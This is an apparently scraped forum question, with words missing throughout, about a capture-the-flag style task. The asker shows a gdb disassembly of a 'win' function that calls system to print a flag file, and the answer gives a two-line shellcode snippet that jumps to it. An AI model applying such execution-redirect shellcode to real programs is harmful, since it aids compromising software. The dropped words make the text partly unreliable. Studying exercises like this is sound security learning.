calling C functions shellcode -


i have following dump taken gdb

 00000000004006f6 <win>:   4006f6:       55                      push   rbp  4006f7:       48 89 e5                mov    rbp,rsp  4006fa:       bf 98 08 40 00          mov    edi,0x400898  4006ff:       e8 8c fe ff ff          call   400590 <system@plt>  400704:       5d                      pop    rbp  400705:       c3                      ret    

usually c function never called need write shellcode thats less 10 bytes run or value displayed. here source of function;

void win(){     system("/bin/cat ./flag.txt");     } 

i'm still novice @ both assembly , c, appreciated.

mov eax, (win addr)

call eax

objdump opcodes after


Comments

Popular posts from this blog

Retrieving ETA (estimated time of arrival) with Google Distance Matrix API and public transit as transport mode -

javascript - Confirm a form & display message if form is valid with JQuery -

ionic framework - Meteor - Error: Failed to execute 'insertBefore' on 'Node' -